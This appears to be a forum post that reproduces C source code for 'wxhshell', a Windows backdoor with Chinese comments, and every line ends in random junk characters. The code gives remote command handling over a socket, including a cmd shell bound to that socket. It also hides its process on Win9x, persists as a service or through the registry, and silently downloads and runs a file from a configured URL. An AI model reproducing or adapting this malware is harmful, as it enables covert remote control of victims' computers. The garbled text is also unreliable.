6*%3O=*  
    switch(cmd[0]) { "I?sz)pxG  
  1XQJ#J1/  
  // 帮助 ]8KAat~J  
  case '?': { gE%{#&*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [RG&1~  
    break; /-JBz U$  
  } XbdoTriE  
  // 安装 \^2%v~  
  case 'i': { YJ_`[LnL  
    if(Install()) 4$J:A~2H]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =A&x d"  
    else /WXy!W30<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j$<uE{c  
    break; rRyBGEj  
    } d)`XG cx{=  
  // 卸载 "H\'4'hg  
  case 'r': { 0o2o]{rM{2  
    if(Uninstall()) `'9Kj9}   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sL|lfc'bB  
    else wP3_RA]z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tyt:Abym=  
    break; BUB#\v#a  
    } 4Z>hP]7  
  // 显示 wxhshell 所在路径 q/ -8sO}q  
  case 'p': { }7YDe'5V  
    char svExeFile[MAX_PATH]; -Qx:-,.a  
    strcpy(svExeFile,"\n\r"); 50% |9D0?Y  
      strcat(svExeFile,ExeFile); !U.Xb6  
        send(wsh,svExeFile,strlen(svExeFile),0); 6T{Zee  
    break; ?n)r1m  
    } rBLkowDP*  
  // 重启 6=o@X  
  case 'b': { g{w IdV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (v(!l=3  
    if(Boot(REBOOT)) gv$6\1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D ODo !  
    else { MVHj?  
    closesocket(wsh); &RP!9{F<  
    ExitThread(0); <y1V2Np  
    } T677d.zaT  
    break; 4q o4g+  
    } 9'F-D  
  // 关机 (yQ]n91Q,  
  case 'd': { 7qSlqA<Hs  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Dt?O_Bdv[  
    if(Boot(SHUTDOWN)) 2xRb$QF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Okm&b g  
    else { QA7SQ cd,  
    closesocket(wsh); eA9U|&o  
    ExitThread(0); _KiaeVE  
    } P lJl#-BO  
    break; |VM c,_D  
    }  s#om  
  // 获取shell ?z0f5<dL  
  case 's': { `C"Slz::  
    CmdShell(wsh); 32jOs|<\  
    closesocket(wsh); Rro|P_  
    ExitThread(0); Srj%6rgsB  
    break; k^AI7H  
  } iK{q_f\"  
  // 退出 ?6.vd]oNO  
  case 'x': { }T%;G /W  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w#[Ul9=?6  
    CloseIt(wsh); {Pm^G^EP  
    break; ?l#9ydi?  
    } rm2"pfs  
  // 离开 +4^XFPq~  
  case 'q': { /!ZeMY:x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,?i^i#Wqzg  
    closesocket(wsh); YAnt}]u!"  
    WSACleanup(); M iIH&z  
    exit(1); ;:1d<Q|  
    break; 3n9$qr= '  
        } EJY[M  
  } K;;Q*NN-  
  } "6rZn_H/|  
en>d  T  
  // 提示信息 [^t"Hf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^57[&{MuBF  
} AfW63;kH  
  } 8=ubMqr[  
 !J!zi  
  return; vc o/h  
} I!lzOg4~  
 SzkF-yRd  
// shell模块句柄 0(#HMBE8  
int CmdShell(SOCKET sock) WmLl.Vv=  
{ Yu=4j9e_mG  
STARTUPINFO si; vfzGRr  
ZeroMemory(&si,sizeof(si)); Ga~N7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _i~n!v  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6~GaFmW=  
PROCESS_INFORMATION ProcessInfo; ;>[).fX>/  
char cmdline[]="cmd"; g6 EdCG.V  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xG0IA 7  
  return 0; f ^mxj/%L  
} YXXUYi~!f  
Z:aDKAboU  
// 自身启动模式 9x.vz  
int StartFromService(void) OqUEj 0X  
{ wqBGJ   
typedef struct 8yax.N j  
{ qT#+DDEAL  
  DWORD ExitStatus; f|Kd{ $VO  
  DWORD PebBaseAddress; 65AXUTg  
  DWORD AffinityMask; U,)Ngnd  
  DWORD BasePriority; Taxi79cH  
  ULONG UniqueProcessId; k\_>/)g  
  ULONG InheritedFromUniqueProcessId; W ]5kM~Q@  
}   PROCESS_BASIC_INFORMATION; _m;cX!+~_  
XG<J'3  
PROCNTQSIP NtQueryInformationProcess; ` _()R`=  
_dppUUm  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D h]+HF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $1oU^V Y  
]+)z}lr8 C  
  HANDLE             hProcess; FOpOS?Cr'  
  PROCESS_BASIC_INFORMATION pbi; PYr#vOH  
{r.#R| 4v  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kac@yQD  
  if(NULL == hInst ) return 0; 6}R^L(^M  
vrn I Eur  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &J^@TgqL^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |DfYH~@(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,^O**k9F  
`m<l8'g  
  if (!NtQueryInformationProcess) return 0; Cca( oV  
]g3&gw  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {>OuxVl??k  
  if(!hProcess) return 0; 7M}T^LC  
i\2MphS  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U jVo "K  
aW %ulZ  
  CloseHandle(hProcess); %Z&[wU~  
NFY,$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); KXcG;b[7n  
if(hProcess==NULL) return 0; 7^Uv1ezDR  
FB@c +*1  
HMODULE hMod; gqNd@tYI  
char procName[255]; V'pNo&O=  
unsigned long cbNeeded; VZYd CZ&l7  
E5 H6&XU  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jD0^,aiG  
'mpY2|]\$  
  CloseHandle(hProcess); +OK.[ji?  
R|{AIa{}  
if(strstr(procName,"services")) return 1; // 以服务启动 8kAG EiC  
h3a HCr E  
  return 0; // 注册表启动 9?gLi!rd  
} m\U@L+L  
/MsXw/],  
// 主模块 ~^" cNv  
int StartWxhshell(LPSTR lpCmdLine) kP%'{   
{ 2|tZ xlt-  
  SOCKET wsl; n?&G>`u*  
BOOL val=TRUE; Rg<y8~|'}  
  int port=0; A)040n  
  struct sockaddr_in door; G hLgV  
dTyTj|"x{  
  if(wscfg.ws_autoins) Install(); (rt DT  
;M8N%  
port=atoi(lpCmdLine); vuuID24:  
Ts:dnGR5  
if(port<=0) port=wscfg.ws_port; 56u'XMB?  
Y[$[0  
  WSADATA data; RmO-".$yt  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; c;w cgU  
W>dS@;E  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4a>z]&s  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !OPK?7   
  door.sin_family = AF_INET; $q DH  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Gw!jYnU  
  door.sin_port = htons(port); W6&" .2  
[:a;|t  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :~:(49l  
closesocket(wsl); Ee9u7TFT  
return 1; )Be}Ev#)Zx  
} nfy"M),et  
8_U*_I7(  
  if(listen(wsl,2) == INVALID_SOCKET) { dSsMa3X[n  
closesocket(wsl); zi2hi9A  
return 1; #$K\:V+ 4  
} P`[6IS#\S  
  Wxhshell(wsl); #1z}~1-  
  WSACleanup(); $]\N/}1v  
]5x N^7_!j  
return 0; /QHvwaW[  
o&rejj#  
} 9g J`H'  
mY(~94{d  
// 以NT服务方式启动 PPDm*,T.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @s2z/ h0H  
{ y M , hF  
DWORD   status = 0; |w6:mtaS  
  DWORD   specificError = 0xfffffff; +H/^RvUjF  
)eY3[>`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; cliP+#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; n1DD+@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; n0@e%=H)I  
  serviceStatus.dwWin32ExitCode     = 0; L\nWhmwl  
  serviceStatus.dwServiceSpecificExitCode = 0; tLS5yT/  
  serviceStatus.dwCheckPoint       = 0; p:k>!8.Qho  
  serviceStatus.dwWaitHint       = 0; O]m,zk  
Sq-mH=rs]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s=~r. x  
  if (hServiceStatusHandle==0) return; -nN}8&l  
 s4;SA  
status = GetLastError(); q3T'rw%Eh  
  if (status!=NO_ERROR) l *yml  
{ 1`5d~>fV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qW][Q%'lt  
    serviceStatus.dwCheckPoint       = 0; vNd4Fn)H  
    serviceStatus.dwWaitHint       = 0; TTmNPp4q  
    serviceStatus.dwWin32ExitCode     = status; ]^VC@$\)+  
    serviceStatus.dwServiceSpecificExitCode = specificError; zvdtP'&uj  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~( -B%Az  
    return; rh${pHl  
  } 3VB{Qj  
$eX; 2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4tCyd5u a8  
  serviceStatus.dwCheckPoint       = 0; m-5Dbx!j  
  serviceStatus.dwWaitHint       = 0; +x-n,!(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 477jS6^e&  
} ;wp)E nF  
>7@F4a  
// 处理NT服务事件,比如:启动、停止 ,X+mXtg.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) d.% Vm&3  
{ fJd!;ur)0  
switch(fdwControl) !R[o6V5T  
{ 6@ET3v  
case SERVICE_CONTROL_STOP:  PZf^r  
  serviceStatus.dwWin32ExitCode = 0; jToA"udW/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (lwkg8WC  
  serviceStatus.dwCheckPoint   = 0; -1:yqF.x  
  serviceStatus.dwWaitHint     = 0; $vTU|o>|  
  { `+\ +  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +<"sC+2  
  } oslrv7EK  
  return; IpB0~`7YI  
case SERVICE_CONTROL_PAUSE: |mc!v*O  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Y2yVl+  
  break; Av _1cvR:  
case SERVICE_CONTROL_CONTINUE: o\g",O4-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Sl   
  break; Pp@P]  
case SERVICE_CONTROL_INTERROGATE: \H*"UgS  
  break; y%cg  
}; A>xFNem  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g.s~Ph-G  
} ] GJIrtS4  
71@V|$Dy  
// 标准应用程序主函数 +smPR  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +K; X$kB  
{ teg LGp@_  
RnIL>Akp  
// 获取操作系统版本 n>+M4Zb  
OsIsNt=GetOsVer(); *t 3fbD  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2J|Wbey  
_Sosw|A  
  // 从命令行安装 P,j)m\|  
  if(strpbrk(lpCmdLine,"iI")) Install(); =sG  C  
B7fURL Rqr  
  // 下载执行文件 Z<0M_q9?MO  
if(wscfg.ws_downexe) { Mf<P ms\F  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]Yp;8#:1  
  WinExec(wscfg.ws_filenam,SW_HIDE); `CUTb*{`  
} }RO Cj,|  
[_^K}\/+  
if(!OsIsNt) { ,~hvFTJI  
// 如果时win9x,隐藏进程并且设置为注册表启动 &+xNR2";  
HideProc(); p4fU/  
StartWxhshell(lpCmdLine); K!).QB'  
} H .JA)*b-  
else ,&Gn7[<  
  if(StartFromService()) }{n[_:[7  
  // 以服务方式启动 bsmZR(EnU  
  StartServiceCtrlDispatcher(DispatchTable); bf VKf}  
else X) owj7U;  
  // 普通方式启动 ) 'j7Ra  
  StartWxhshell(lpCmdLine); l7ZqkGG]  
cDYKvrPY  
return 0; BB.^-0up  
}
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只看该作者 1 发表于: 2006-10-10
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